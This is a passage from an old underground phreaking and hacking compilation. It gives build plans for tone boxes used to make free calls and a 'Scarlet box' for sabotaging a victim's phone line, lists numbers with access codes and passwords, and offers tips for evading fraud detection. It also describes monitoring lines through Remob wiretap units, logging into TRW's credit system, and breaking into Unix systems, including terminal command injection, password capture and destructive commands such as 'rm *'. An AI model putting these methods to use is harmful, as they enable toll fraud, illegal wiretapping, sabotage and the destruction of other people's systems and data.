'NOT OPERATING' or may freeze +the request. You should also note that when updating the existing list, all you need to do is try to request the next modem beyond the end as of +the last check. +Finding Newly Added Ports: +Many ports have not yet been installed; hence, we do not yet know the addresses. New ports may be found by entering the first three digits +of the area code and appending (1-29, 101-129, 201-229, 301-329, etc.) until the 'REFUSED COLLECT CONNECTION 19 80' appears. Once +this is found, simply log onto the port address with your ID and R/V dial some silly series of digits, disconnect the port, then connect to the PCPursuit +mnemonic you think it might be and R/V redial the last number. If the numbers match, you found it. +98. Pearl Box Plans by The Jolly Roger +The Pearl Box: Definition - This is a box that may substitute for many boxes which produce tones in hertz. The Pearl Box when operated +correctly can produce tones from 1-9999hz. As you can see, 2600, 1633, 1336 and other crucial tones are obviously in its sound spectrum. +Materials you will need: +1.C1, C2:�mf or �uf ceramic disk capacitors +2.Q1.....NPN transistor (2N2222 works best) +3.S1.....Normally open momentary SPST switch +4.S2.....SPST toggle switch +5.B1.....Standard 9-Volt battery +6.R1.....Single turn, 50k potentiometer +7.R2.....Single turn, 100k potentiometer +8.R3.....Single turn, 500k potentiometer +9.R4.....Single turn, 1Meg potentiometer +10.SPKR...Standard 8-ohm speaker +11.T1.....Mini transformer (8-ohm works best) +12.Misc...Wire, solder, soldering iron, PC board or perfboard, box to contain the completed unit, battery clip +Instructions for building Pearl Box: +Since the instruction are EXTREMELY difficult to explain in words, you will be given a schematic instead. It will be quite difficult to follow but try +it any way. +(Schematic for The Pearl Box) ++---+------------+---------+ +! ! \ +C1 C2 \ +! ! + ++ + -----+T1 +!\ +------------+-+ +! b c-------! + +! Q1 ! +-S1- +! e-----S2---+ ! SPKR +! ! ! +---- +! B1 ! +! ! ! +! +-------+ +!R1 R2 R3 R4! +/\/\ /\/\ /\/\ /\/\ ++--+ +--+ +--+ +Now that you are probably thoroughly confused, let me explain a few minor details. The potentiometer area is rigged so that the left pole is +connected to the center pole of the potentiometer next to it. The middle terminal of T1 is connected to the piece of wire that runs down to the +end of the battery. +Correct operation of The Pearl Box: +You may want to get some dry-transfer decals at Radio Shack to make this job a lot easier. Also, some knobs for the tops of the +potentiometers may be useful too. Use the decals to calibrate the knobs. R1 is the knob for the ones place, R2 is for the tens place, R3 if for the +hundreds place and R4 is for the thousands place. S1 is for producing the all the tones and S2 is for power. +1.Turn on the power and adjust the knobs for the desired tone. +(Example: For 2600 hz-R1=0:R2=0:R3=6:R4=2) +2.Hit the push-button switch and VIOLA! You have the tone. If you don't have a tone recheck all connections and schematic. +99. The Phreak file by The Jolly Roger +202 282 3010 UNIV. OF D.C. +202 553 0229 PENTAGON T.A.C. +202 635 5710 CATHOLIC UNIV. OF AMERICA +202 893 0330 DEFENSE DATA NETWORK +202 893 0331 DEFENSE DATA NETWORK +202 965 2900 WATERGATE +203 771 4930 TELEPHONE PIONEERS +206 641 2381 VOICE OF CHESTER +212 526 1111 NEW YORK FEED LINE +212 557 4455 SEX HOT LINE +212 799 5017 ABC NY FEED LINE +212 934 9090 DIAL-AN-IDIOT +212 976 2727 P.D.A. +212 986 1660 STOCK QUOTES +213 541 2462 STOCK MARKET REPORTS +213 547 6801 NAVY SHIPS INFO +213 576 6061 " " +213 664 3321 NEWS FOR THE BLIND +301 393 1000 " " +301 667 4280 LOTTERY INFO +312 939 1600 " " +404 221 5519 NUCLEAR COMMISSION +408 248 8818 1ST NATIONAL BANK +415 642 2160 EARTHQUAKE REPORT +505 883 6828 " " +512 472 2181 " " +512 472 4263 WEIRD RECORDING +512 472 9833 " " +512 472 9941 INSERT 25 CENTS +512 472 9941 SPECIAL RECORDING +512 870 2345 " " +516 794 1707 " " +619 748 0002 LOOP LINE +619 748 0003 " " +703 331 0057 MCI (5 DIGITS) +703 334 6831 WASH. POST +703 354 8723 COMPEL INC. +703 737 2051 METROPHONE (6 DIGITS) +703 835 0500 VALNET (5 DIGITS) +703 861 7000 SPRINT (6/8 DIGITS) +703 861 9181 SPRINT (6/8 DIGITS) +714 974 4020 CA. MAINFRAME +716 475 1072 N.Y. DEC-SYSTEM +800 222 0555 RESEARCH INSTITUTE +800 223 3312 CITIBANK +800 227 5576 EASTERN AIRLINES +800 248 0151 WHITE HOUSE PRESS +800 321 1424 FLIGHT PLANES +800 323 3026 TEL -TEC (6 GIGITS) +800 323 4756 MOTOROLA DITELL +800 323 7751 MCI MAINFRAME +800 325 4112 EAsYLINK +800 325 6397 FYI +800 344 4000 MSG SYSTEM +800 368 6900 SKYLINE ORDER LINE +800 424 9090 RONALD REAGAN'S PRESS +800 424 9096 WHITE HOUSE SWITCH +800 438 9428 ITT CITY CALL SWITCHING +800 521 2255 AUTONET +800 521 8400 TRAVELNET (8 DIGITS) +800 526 3714 RCA MAINFRAME +800 527 1800 TYMNET +800 621 3026 SPECIAL OPERATOR +800 621 3028 " " +800 621 3030 " " +800 621 3035 " " +800 631 1146 VOICE STAT +800 821 2121 BELL TELEMARKETING +800 828 6321 XEROX $ +800 858 9313 RECORD-A-VOICE +800 882 1061 AT&T STOCK PRICES +914 997 1277 " " +916 445 2864 JERRY BROWN +N/A 950 1000 SPRINT +N/A 950 1022 MCI EXECUNET +N/A 950 1033 US TELEPHONE +N/A 950 1044 ALLNET (6 DIGITS) +N/A 950 1066 LEXITEL +N/A 950 1088 SKYLINE (6 DIGITS) +----------------------------------- +PHONE # | DESCRIPTION/CODE +----------------------------------- +201-643-2227 | CODES:235199, 235022 AND 121270 +| +800-325-4112 | WESTERN UNION +| +800-547-1784 | CODES:101111, 350009 AND 350008 +| +800-424-9098 | TOLL FREE WHITE HS. +| +800-424-9099 | DEFENSE HOT LINE +| +202-965-2900 | WATERGATE +| +800-368-5693 | HOWARD BAKER HOTLINE +| +202-456-7639 | REAGANS SECRETARY +| +202-545-6706 | PENTAGON +| +202-694-0004 | PENTAGON MODEM +| +201-932-3371 | REUTERS +| +800-325-2091 | PASSWORD: GAMES +| +800-228-1111 | AMERICAN EXPRESS +| +617-258-8313 | AFTER CONNECT PRESS CTRL -C +| +800-323-7751 | PASSWORD:REGISTER +| +800-322-1415 | CODES:266891, 411266 AND 836566 (USED BY SYSOP) +The following 800 #'s have been collected however no codes have been found yet! if you hack any please let me know... +----------------------------------- +phone # | codes: +----------------------------------- +800-321-3344 | ??????????? +800-323-3027 | ??????????? +800-323-3208 | ??????????? +800-323-3209 | ??????????? +800-325-7222 | ??????????? +800-327-9895 | ??????????? +800-327-9136 | ??????????? +800-343-1844 | ??????????? +800-547-1784 | ??????????? +800-547-6754 | ??????????? +800-654-8494 | ??????????? +800-682-4000 | ??????????? +800-858-9000 | ??????????? +800 numbers with carriers. +800-323-9007 +800-323-9066 +800-323-9073 +800-321-4600 +800-547-1784 +1-800 numbers of the government. +800-321-1082:NAVY FINANCE CENTER. +800-424-5201:EXPORT IMPORT BANK. +800-523-0677:ALCOHOL TOBACCO AND. +800-532-1556:FED INFORMATION +CNTR1-1082:NAVY FINANCE CENTER. +800-424-5201:EXPORT IMPORT BANK. +800-523-0677:ALCOHOL TOBACCO AND. +800-532-1556:FED INFORMATION CNTR. +800-325-4072:COMBAT & ARMS SERVICE. +800-325-4095:COMBAT SUPPORT BRANCH. +800-325-4890:ROPD USAR COMBAT ARMS. +800-432-3960:SOCIAL SECURITY. +800-426-5996:PUGET NAVAL SHIPYARD. +Directory of toll free numbers. +800-432-3960:SOCIAL SECURITY. +800-426-5996:PUGET NAVAL SHIPYARD. +Directory of toll free numbers. +301-234-0100:BALTIMORE ELECTRIC. +202-456-1414:WHITE HOUSE. +202-545-6706:PENTAGON. +202-343-1100:EPA. +714-891-1267:DIAL-A-GEEK. +714-897-5511:TIMELY. +213-571-6523:SATANIC MESSAGES. +213-664-7664:DIAL-A-SONG. +405-843-7396:SYNTHACER MUSIC. +213-765-1000:LIST OF MANY NUMBERS. +512-472-4263:WIERD. +512-472-9941:INSERT 25. +203-771-3930:PIONEERS. +213-254-4914:DIAL-A-ATHIEST. +212-586-0897:DIRTY. +213-840-3971:HOROWIERD +203-771-3930:PIONEERS +471-9420,345-9721,836-8962 +836-3298,323-4139,836-5698 +471-9440,471-9440,471-6952 +476-6040,327-9772,471-9480 +800-325-1693,800-325-4113 +800-521-8400:VOICE ACTIVATED +213-992-8282:METROFONE ACCESS NUMBER +617-738-5051:PIRATE HARBOR +617-720-3600:TIMECOR #2 +301-344-9156:N.A.S.A PASSWORD:GASET +318-233-6289:UNIVERSITY LOUISIANA +213-822-2112:213-822-3356 +213-822-1924:213-822 3127 +213-449-4040:TECH CENTER +213-937-3580:TELENET +1-800-842-8781 +1-800-368-5676 +1-800-345-3878 +212-331-1433 +213-892-7211 +213-626-2400 +713-237-1822 +713-224-6098 +713-225-1053 +713-224-9417 +818-992-8282 +1-800-521-8400 +After entering the sprint code, and, C+Destination number. Then enter this +number: �205#977#22", And the main tracer for sprint will be disabled. +215-561-3199/SPRINT LONG DISTANCE +202-456-1414/WHITE HOUSE +011-441-930-4832/QUEEN ELIZABETH +916-445-2864/JERRY BROWN +800-424-9090/RONALD REAGAN'S PRESS +212-799-5017/ABC NEW YORK FEED LINE +800-882-1061/AT & T STOCK PRICES +212-986-1660/STOCK QUOTES +213-935-1111/WIERD EFFECTS! +512-472-4263/WIERD RECORDING +212-976-2727/P.D.A. +619-748-0002/FONE CO. TESTING LINES +900-410-6272/SPACE SHUTTLE COMM. +201-221-6397/AMERICAN TELEPHONE +215-466-6680/BELL OF PENNSYLVANIA +202-347-0999/CHESAPEAKE TELEPHONE +213-829-0111/GENERAL TELEPHONE +808-533-4426/HAWAIIAN TELEPHONE +312-368-8000/ILLINOIS BELL TELEPHONE +317-265-8611/INDIANA BELL +313-223-7233/MICHIGAN BELL +313-223-7223/NEVADA BELL +207-955-1111/NEW ENGLAND TELEPHONE +201-483-3800/NEW JERSEY BELL +212-395-2200/NEW YORK TELEPHONE +515-243-0890/NORTHWESTERN BELL +216-822-6980/OHIO BELL +206-345-2900/PACIFIC NORTHWEST BELL +213-621-4141/PACIFIC TELEPHONE +205-321-2222/SOUTH CENTRAL BELL +404-391-2490/SOUTHERN BELL +203-771-4920/SOUTHERN NEW ENGLAND +314-247-5511/SOUTHWESTERN BELL +414-678-3511/WISCONSIN TELEPHONE +800-327-6713/UNKNOWN ORIGIN +303-232-8555/HP3000 +315-423-1313/DEC-10 +313-577-0260/WAYNE STATE +512-474-5011/AUSTIN COMPUTERS +516-567-8013/LYRICS TIMESHARING +212-369-5114/RSTS/E +415-327-5220/NEC +713-795-1200/SHELL COMPUTERS +518-471-8111/CNA OF NY +800-327-6761/AUTONET +800-228-1111/VISA CREDIT CHECK +713-483-2700/NASUA +213-383-1115/COSMOS +408-280-1901/TRW +404-885-3460/SEARS CREDIT CHECK +414-289-9988/AARDVARK SOFTWARE +919-852-1482/ANDROMEDA INCORPORATED +213-985-2922/ARTSCI +714-627-9887/ASTAR INTERNATIONAL +415-964-8021/AUTOMATED SIMULATIONS +503-345-3043/AVANT GARDE CREATIONS +415-456-6424/BRODERBUND SOFTWARE +415-658-8141/BUDGE COMPANY +714-755-5392/CAVALIER COMPUTER +801-753-6990/COMPUTER DATA SYSTEMS +213-701-5161/DATASOFT INC. +213-366-7160/DATAMOST +716-442-8960/DYNACOMP +213-346-6783/EDU-WARE +800-631-0856/HAYDEN +919-983-1990/MED SYSTEMS SOFTWARE +312-433-7550/MICRO LAB +206-454-1315/MICROSOFT +301-659-7212/MUSE SOFTWARE +209-683-6858/ON-LINE SYSTEMS +203-661-8799/PROGRAM DESIGN (PDI) +213-344-6599/QUALITY SOFTWARE +303-925-9293/SENTIENT SOFTWARE +702-647-2673/SIERRA SOFTWARE +916-920-1939/SIRIUS SOFTWARE +215-393-2640/SIR-TECH +415-962-8911/SOFTWARE PUBLISHERS +415-964-1353/STRATEGIC SIMULATIONS +217-359-8482/SUBLOGIC COM. +206-226-3216/SYNERGISTIC SOFTWARE +Here are a few tips on how not to get caught when using MCI or other such services: +1.Try not to use them for voice to voice personal calls. Try to use them for computer calls only. Here is why: +MCI and those other services can't really trace the calls that come through the lines, they can just monitor them. They can listen in on your calls +and from that, they can get your name and other information from the conversation. They can also call the number you called and ask your +friend some questions. If you call terminals and BBS'S then it is much harder to get information. For one thing, most sysops won't give +these dudes that call any info at all or they will act dumb because they PHREAK themselves! +2.Beware when using colored boxes! They are easy to find!!!!! +3.Try to find a sine-wave number. Then use an MCI or other service to call it. You will hear a tone that goes higher and lower. If the tone just +stops, then that code is being monitored and you should beware when using it. +If you do get caught, then if you think you can, try to weasel out of it. I have heard many stories about people that have pleaded with the MCI +guys and have been let off. You will get a call from a guy that has been monitoring you. Act nice. Act like you know it is now wrong to do this +kind of thing.....just sound like you are sorry for what you did. (If you get a call, you probably will be a little sorry!) Otherwise, it is very +dangerous!!!!!!! (Very with a capital V!) +100.Red Box Plans by The Jolly Roger +Red boxing is simulating the tones produced by public payphones when you drop your money in. The tones are beeps of 2200Hz + 1700Hz a +nickle is 1 beep for 66 milliseconds. A dime is 2 beeps, each 66 milliseconds with a 66 millisecond pause between beeps. A quarter is 5 beeps, +each 33 milliseconds with a 33 millisecond pause between beeps. +There are two commonly used methods being used by Phreaks to make free calls. +1.An electronic hand-held device that is made from a pair of Wien-bridge oscillators with the timing controlled by 555 timing chips. +2.A tape recording of the tones produced by a home computer. One of the best computers to use would be an Atari ST. It is one of the easier +computers to use because the red box tones can be produced in basic with only about 5 statements. +101.RemObS by The Jolly Roger +Some of you may have heard of devices called Remobs which stands for Remote Observation System. These Devices allow supposedly +authorized telephone employees to dial into them from anywhere, and then using an ordinary touch tone fone, tap into a customer's line in a +special receive only mode. [The mouthpiece circuit is deactivated, allowing totally silent observation from any fone in the world (Wire tapping +without a court order is against the law)] +How Remobs Work +Dial the number of a Remob unit. Bell is rumored to put them in the 555 information exchanges, oron special access trunks [Unreachable except +via blue box]. A tone will then be heard for approximately 2 seconds and then silence. You must key in (In DTMF) a 2 to 5 digit access code +while holding each digit down at least 1 second. If the code is not entered within 5 or 6 seconds, the Remob will release and must be dialed +again. If the code is supposedly another tone will be heard. A seven digit subscriber fone number can then be entered [The Remob can only +handle certain 'exchanges' which are prewired, so usually one machine cannot monitor an entire NPA]. The Remob will then connect to the +subscribers line. The listener will hear the low level idle tone as long as the monitored party is on hook. As the monitored party dials [rotary or +DTMF], the listener would hear [And Record] the number being dialed. Then the ENTIRE conversation, datalink, whatever is taking place, all +without detection. There is no current box which can detect Remob observation, since it is being done with the telephone equipment that +makes the connection. When the listener is finished monitoring of that particular customer, he keys the last digit of the access code to +disconnects him from the monitored line and return to the tone so that he can key in another 7 digit fone number. When the listener is totally +finished with the Remob, he keys a single 'disconnect digit' which disconnects him from the Remob so that the device can reset and be ready +for another caller. +History of Remobs +Bell has kept the existence of Remobs very low key. Only in 1974, Bell acknowledged that Remobs existed. The device was first made public +during hearings on "Telephone Monitoring Practices by Federal Agencies" before a subcommittee on government operations. House of +Representatives, Ninety-Third Congress, June 1974. It has since been stated by Bell that the Remob devices are used exclusively for +monitoring Bell employees such as operators, information operators, etc., to keep tabs on their performance. [Suuureee, were stupid] +Possible Uses for Remobs +The possible uses of Remobs are almost as endless as the uses of self created fone line. Imagine the ability to monitor bank lines etc, just +off the top of my head I can think of these applications: +Data Monitoring of: + TRW + National Credit Bureau. + AT&T Cosmos. + Bank Institutions. + CompuServe and other Networks. +Voice Monitoring of: + Bank Institutions. + Mail Order businesses. + Bell Telephone themselves. + Any place handling sensitive or important information. + Anyone that you may not like. +With just one Remob, someone could get hundreds of credit cards, find out who was on vacation, get CompuServe passwords by the +dozens, disconnect peoples fones, do credit checks, find out about anything that they may want to find out about. I'm sure you brilliant can +see the value of a telephone hobbyist and a telecommunications enthusiast getting his hands on a few choice Remobs. +Caution +If any reader should discover a Remob during his (or her) scanning excursions, please keep in mind the very strict federal laws regarding +wiretapping and unauthorized use of private Bell property. +102.Scarlet Box Plans by The Jolly Roger +The purpose of a Scarlet box is to create a very bad connection, it can be used to crash a BBS or just make life miserable for those you seek +to avenge. +Materials: + 2 alligator clips + 3 inch wire, or a resister (plain wire will create greatest amount of static) (Resister will decrease the amount of static in proportion to the +resister you are using) +1.Find the phone box at your victims house, and pop the cover off. +2.Find the two prongs that the phone line you wish to box are connected to. +3.Hook your alligator clips to your (wire/resister). +4.Find the lower middle prong and take off all wires connected to it, I think this disables the ground and call waiting and shit like that. +5.Now take one of the alligator clips and attach it to the upper most prong, and take the other and attach it to the lower middle prong. +6.Now put the cover back on the box and take off!! +** ######## ** +** # #### # ** +######## / +# #### # / +######## / +/ +/ +/ +/ +/ +/ +/ +**/ +** +** +** +** +** +(**)= prongs +** +(/) = (wire/resister) +(##)= some phone bullshit +103.Silver Box Plans by The Jolly Roger +Introduction: +First a bit of Phone Trivia. A standard telephone keypad has 12 buttons. These buttons, when pushed, produce a combination of two tones. +These tones represent the row and column of the button you are pushing. +1 1 1 +2 3 4 +0 3 7 +9 6 7 +697 (1) (2) (3) +770 (4) (5) (6) +851 (7) (8) (9) +941 (*) (0) (#) +So (1) produces a tone of 697+1209, (2) produces a tone of 697+1336, etc. +Function: +What the Silver Box does is just creates another column of buttons, with the new tone of 1633. These buttons are called A, B, C, and D. +Usefulness: +Anyone who knows anything about phreaking should know that in the old days of phreaking, phreaks used hardware to have fun instead of +other people's Sprint and MCI codes. The most famous (and useful) was the good ol' Blue Box. However, Ma Bell decided to fight back and +now most phone systems have protections against tone-emitting boxes. This makes boxing just about futile in most areas of the United States +(i.e. those areas with Crossbar or Step-By-Step). If you live in or near a good-sized city, then your phone system is probably up-to-date (ESS) +and this box (and most others) will be useless. However, if you live in the middle of nowhere (no offense intended), you may find a use for +this and other boxes. +Materials: + 1 Foot of Blue Wire + 1 Foot of Gray Wire + 1 Foot of Brown Wire + 1 Small SPDT Switch (*) + 1 Standard Ma Bell Phone +(*)SPDT = Single Pole/Double Throw +Tools: + 1 Soldering Iron + 1 Flat-Tip Screwdriver +Procedure: +1.Loosen the two screws on the bottom of the phone and take the casing off. +2.Loosen the screws on the side of the keypad and remove the keypad from the mounting bracket. +3.Remove the plastic cover from the keypad. +4.Turn the keypad so that *0# is facing you. Turn the keypad over. You'll see a bunch of wires, contacts, two Black Coils, etc. +5.Look at the Coil on the left. It will have five (5) Solder Contacts facing you. Solder the Gray Wire to the fourth Contact Pole from the left. +6.Solder the other end of the Gray Wire to the Left Pole of the SPDT Switch. +7.Find the Three (3) Gold-Plated Contacts on the bottom edge of the keypad. On the Left Contact, gently separate the two touching Connectors +(they're soldered together) and spread them apart. +8.Solder the Brown Wire to the Contact farthest from you, and solder the other end to the Right Pole of the SPDT Switch. +9.Solder the Blue Wire to the Closest Contact, and the other end to the Center Pole of the SPDT Switch. +10.Put the phone back together. +Using The Silver Box: +What you have just done was installed a switch that will change the 369# column into an ABCD column. For example, to dial a 'B', switch to +Silver Box Tones and hit '6'. +No one is sure of the A, B, and C uses. However, in an area with an old phone system, the 'D' button has an interesting effect. Dial +Directory Assistance and hold down 'D'. The phone will ring, and you should get a pulsing tone. If you get a pissed-off operator, you have a +newer phone system with defenses against Silver Boxes. At the pulsing tone, dial a 6 or 7. These are loop ends. +104.Bell Trashing by The Jolly Roger +The Phone Co. will go to extremes on occasions. In fact, unless you really know what to expect from them, they will surprise the heck out of +you with their "unpublished tariffs". Recently, a situation was brought to my attention that up till then I had been totally unaware of, least to +mention, had any concern about. It involved garbage! The phone co. will go as far as to prosecute anyone who rummages through their +garbage and helps himself to some +Of course, they have their reasons for this, and no doubt benefit from such action. But, why should they be so picky about garbage? The +answer soon became clear to me: those huge metal bins are filled up with more than waste old food and refuse... Although it is Pacific Tele. +policy to recycle paper waste products, sometimes employees do overlook this sacred operation when sorting the garbage. Thus top-secret +confidential Phone Co. records go to the garbage bins instead of the paper shredders. Since it is constantly being updated with "company +memorandums, and supplied with extensive reference material, the Phone co. must continually dispose of the outdated materials. Some phone +companies are supplied each year with the complete "System Practices" guide. This publication is an over 40 foot long library of reference +material about everything to do with telephones. As the new edition arrives each year, the old version of "System Practices" must also be +thrown out. +I very quickly figured out where some local phone phreaks were getting their material. They crawl into the garbage bins and remove selected +items that are of particular interest to them and their fellow phreaks. One phone phreak in the Los Angeles area has salvaged the complete +1972 edition of "Bell System Practices". It is so large and was out of order (the binders had been removed) that it took him over a year to sort it +out and create enough shelving for it in his garage. +Much of this "Top Secret" information is so secret that most phone companies have no idea what is in their files. They have their hands full +simply replacing everything each time a change in wording requires a new revision. It seems they waste more paper than they can read! +It took quite a while for Hollywood Cal traffic manager to figure out how all of the local phone phreaks constantly discovered the switchroom +test numbers. +Whenever someone wanted to use the testboard, they found the local phone phreaks on the lines talking to all points all over the world. It got to +the point where the local garbage buffs knew more about the office operations than the employees themselves. One phreak went so far as to +call in and tell a switchman what his next daily assignment would be. This, however, proved to be too much. The switchman traced the call +and one phone phreak was denied the tool of his trade. +In another rather humorous incident, a fellow phreak was rummaging through the trash bin when he heard someone approaching. He pressed +up against the side of the bin and silently waited for the goodies to come. You can imagine his surprise when the garbage from the lunchroom +landed on his head. Most people find evenings best for checking out their local Telco trash piles. The only thing necessary is a flashlight and, in +the case mentioned above, possibly a rain coat. A word of warning though, before you rush out and dive into the trash heap. It is probably +illegal, but no matter where you live, you certainly won't get the local policeman to hold your flashlight for you. +105.Canadian WATS Phonebook by The Jolly Roger +800-227-4004 ROLM Collagen Corp. +800-227-8933 ROLM Collagen Corp. +800-268-4500 Voice Mail +800-268-4501 ROLM Texaco +800-268-4505 Voice Mail +800-268-6364 National Data Credit +800-268-7800 Voice Mail +800-268-7808 Voice Mail +800-328-9632 Voice Mail +800-387-2097 Voice Mail +800-387-2098 Voice Mail +800-387-8803 ROLM Canadian Tire +800-387-8861 ROLM Canadian Tire +800-387-8862 ROLM Canadian Tire +800-387-8863 ROLM Canadian Tire +800-387-8864 ROLM Canadian Tire +800-387-8870 ROLM Halifax Life +800-387-8871 ROLM Halifax Life +800-387-9115 ASPEN Sunsweep +800-387-9116 ASPEN Sunsweep +800-387-9175 PBX [Hold Music = CHUM FM] +800-387-9218 Voice Messenger +800-387-9644 Carrier +800-426-2638 Carrier +800-524-2133 Aspen +800-663-5000 PBX/Voice Mail [Hold Music = CFMI FM] +800-663-5996 Voice Mail (5 rings) +800-847-6181 Voice Mail +NOTES: Each and every one of these numbers is available to the 604 (British Columbia) Area Code. Most are available Canada Wide and some +are located in the United States. Numbers designated ROLM have been identified as being connected to a ROLM Phonemail system. Numbers +designated ASPEN are connected to an ASPEN voice message system. Numbers designated VOICE MAIL have not been identified as to +equipment in use on that line. Numbers designated carrier are answered by a modem or data set. Most Voice Message systems, and ALL +Rolms, sound like an answering machine. Press 0 during the recording when in a rolm, * or # or other DTMF in other systems, and be propelled +into another world... +106.Hacking TRW by The Jolly Roger +When you call TRW, the dial up will identify itself with the message +"TRW". It will then wait for you to type the appropriate answer back (such as CTRL-G) Once This has been done, the system will say "CIRCUIT +BUILDING IN PROGRESS" Along with a few numbers. After this, it clears the screen (CTRL L) followed by a CTRL-Q. After the system sends +the CTRL-Q, It is ready for the request. You first type the 4 character identifier for the geographical area of the account.. +(For Example) TCA1 - for certain Calif. & Vicinity subscribers. +TCA2 - A second CALF. TRW System. +TNJ1 - Their NJ Database. +TGA1 - Their Georgia Database. +The user then types A and then on the next line, he must type his 3 char. Option. Most Requests use the RTS option. OPX, RTX, and a +few others exist. (NOTE) TRW will accept an A, C, or S as the 'X' in the options above.) Then finally, the user types his 7 digit subscriber code. +He appends his 3-4 character password after it. It seems that if you manage to get hold of a TRW Printout (Trashing at Sears, Saks, ETC. or +from getting your credit printout from them) Their subscriber code will be on it leaving only a 3-4 character p/w up to you. +For Example, +(Call the DialUp) +TRW System Types, (ST) CTRL -G +(You type, YT) Circuit building in progress 1234 +(ST) CTRL-L CRTL-Q (TCA1 CYT) BTS 3000000AAA + (YT] +Note: This system is in Half Duplex, Even Parity, 7 Bits per word and 2 Stop Bits. +CAUTION: It is a very stressed rumor that after typing in the TRW password Three (3) times.. It sets an Automatic Number Identification on your +ass, so be careful. And forget who told you how to do this.. +107.Hacking Vax's & Unix by The Jolly Roger +Unix is a trademark of AT&T (and you know what that means) +In this article, we discuss the unix system that runs on the various vax systems. If you are on another unix-type system, some commands +may differ, but since it is licensed to bell, they can't make many changes. +Hacking onto a unix system is very difficult, and in this case, we advise having an inside source, if possible. The reason it is difficult to hack a +vax is this: Many vax, after you get a carrier from them, respond=> +Login: +They give you no chance to see what the login name format is. Most commonly used are single words, under 8 digits, usually the person's +name. There is a way around this: Most vax have an acct. called 'suggest' for people to use to make a suggestion to the system root terminal. +This is usually watched by the system operator, but at late he is probably at home sleeping or screwing someone's brains out. So we can +write a program to send at the vax this type of a message: A screen freeze (Cntl-S), screen clear (system dependant), about 255 garbage +characters, and then a command to create a login acct., after which you clear the screen again, then unfreeze the terminal. What this does: +When the terminal is frozen, it keeps a buffer of what is sent. Well, the buffer is about 127 characters long. so you overflow it with trash, and +then you send a command line to create an acct. (System dependant). After this you clear the buffer and screen again, then unfreeze the +terminal. This is a bad way to do it, and it is much nicer if you just send a command to the terminal to shut the system down, or whatever you +are after... There is always, *Always* an acct. called root, the most powerful acct. to be on, since it has all of the system files on it. If you +hack your way onto this one, then everything is easy from here on... On the unix system, the abort key is the Cntl-D key. Watch how many +times you hit this, since it is also a way to log off the system! A little about unix architecture: The root directory, called root, is where the +system resides. After this come a few 'sub' root directories, usually to group things (stats here, priv stuff here, the user log here...). Under +this comes the superuser (the operator of the system), and then finally the normal users. In the unix 'Shell' everything is treated the same. +By this we mean: You can access a program the same way you access a user directory, and so on. The way the unix system was written, +everything, users included, are just programs belonging to the root directory. Those of you who hacked onto the root, smile, since you can +screw everything...the main level (exec level) prompt on the unix system is the $, and if you are on the root, you have a # (superuser prompt). +Ok, a few basics for the system... To see where you are, and what paths are active in regards to your user account, then type +=> pwd +This shows your acct. separated by a slash with another pathname (acct.), possibly many times. To connect through to another path, or many +paths, you would type: +You=> path1/path2/path3 +And then you are connected all the way from path1 to path3. You can +run the programs on all the paths you are connected to. If it does +not allow you to connect to a path, then you have insufficient privs, or +the path is closed and archived onto tape. You can run programs this way +also: +you=> path1/path2/path3/program-name +Unix treats everything as a program, and thus there a few commands to learn... +To see what you have access to in the end path, type: +ls +for list. This show the programs you can run. You can connect to the root directory and run it's programs with=> +/root +By the way, most unix systems have their log file on the root, so you can set up a watch on the file, waiting for people to log in and snatch +their password as it passes thru the file. To connect to a directory, use the command: +=> cd pathname +This allows you to do what you want with that directory. You may be asked for a password, but this is a good way of finding other user +names to hack onto. The wildcard character in unix, if you want to search down a path for a game or such, is the *. +=> ls /* +Should show you what you can access. The file types are the same as they are on a dec, so refer to that section when examining file. To see +what is in a file, use the +=> pr +filename command, for print file. We advise playing with pathnames to get the hang of the concept. There is on-line help available on most +systems with a 'help' or a '?'. We advise you look thru the help files and pay attention to anything they give you on pathnames, or the +commands for the system. You can, as a user, create or destroy directories on the tree beneath you. This means that root can kill everything +but root, and you can kill any that are below you. These are the +=> mkdir pathname +=> rmdir pathname +commands. Once again, you are not alone on the system... type=> +who +to see what other users are logged in to the system at the time. If you +want to talk to them=> +write username +Will allow you to chat at the same time, without having to worry about the parser. To send mail to a user, say +=> mail +And enter the mail sub-system. To send a message to all the users on the system, say +=> wall +Which stands for 'write all'. By the way, on a few systems, all you have to do is hit the key to end the message, but on others you +must hit the cntl-D key. To send a single message to a user, say +=> write username +this is very handy again! If you send the sequence of characters discussed at the very beginning of this article, you can have the super-user +terminal do tricks for you again. +Privs: +If you want superuser privs, you can either log in as root, or edit your acct. so it can say +=> su +this now gives you the # prompt, and allows you to completely by-pass the protection. The wonderful security conscious developers at bell +made it very difficult to do much without privs, but once you have them, there is absolutely nothing stopping you from doing anything you want +to. To bring down a unix system: +=> chdir /bin +=> rm * +this wipes out the pathname bin, where all the system maintenance files are. Or try: +=> r -r +This recursively removes everything from the system except the remove command itself. Or try: +=> kill -1,1 +=> sync +This wipes out the system devices from operation. When you are finally sick and tired from hacking on the vax systems, just hit your cntl-d and +repeat key, and you will eventually be logged out. +The reason this file seems to be very sketchy is the fact that bell has 7 licensed versions of unix out in the public domain, and these commands +are those common to all of them. I recommend you hack onto the root or bin directory, since they have the highest levels of privs, and there is +really not much you can do (except develop software) without them. +108.Verification Circuits by The Jolly Roger +1.One busy verification conference circuit is always provided. The circuit is a three-way conference bridge that enables an operator to verify +the busy/idle condition of a subscriber line. Upon request of a party attempting to reach a specified directory number, the operator dials +the called line number to determine if the line is in use, if the receiver is off the hook, or if the line is in lockout due to a fault condition. The +operator then returns to the party trying to reach the directory number and states the condition of the line. Lines with data security can not +be accessed for busy verification when the line is in use.(Refer also to data security.) +2.Three ports are assigned to each busy verification conference circuit. One port is for operator access and two ports are used to split an +existing connection. To verify the busy/idle condition of a line, the operator established a connection to the operator access port and dials +the directory number of the line to be verified. If the line is in use, the existing connection is broken and immediately re-established through +the other two ports of the busy verification circuit without interruption. Busy verification circuit is controlled by access code. A dedicated +trunk can be used but is not necessary. +3.The busy verification circuit also can be used for test verify from the wire chiefs test panel B. Additional busy verification conference +circuits (002749) there it is right out of an ESS manual word for word! And I'm getting 25 linear feet of ESS manuals!!! Not counting the +stack received so far! +109.White Box Plans by The Jolly Roger +Introduction: +The White Box is simply a portable touch-tone keypad. For more information on touch-tone, see my Silver Box Plans. +Materials: + 1 Touch-Tone Keypad + 1 Miniature 1000 to 8 Ohm Transformer (Radio Shack # 273-1380) + 1 Standard 8 Ohm Speaker + 2 9V Batteries + 2 9V Battery Clips +Procedure: +1.Connect the Red Wire from the Transformer to either terminal on the speaker. +2.Connect the White Wire from the transformer to the other terminal on the speaker. +3.Connect the Red Wire from one Battery Clip to the Black Wire from the other 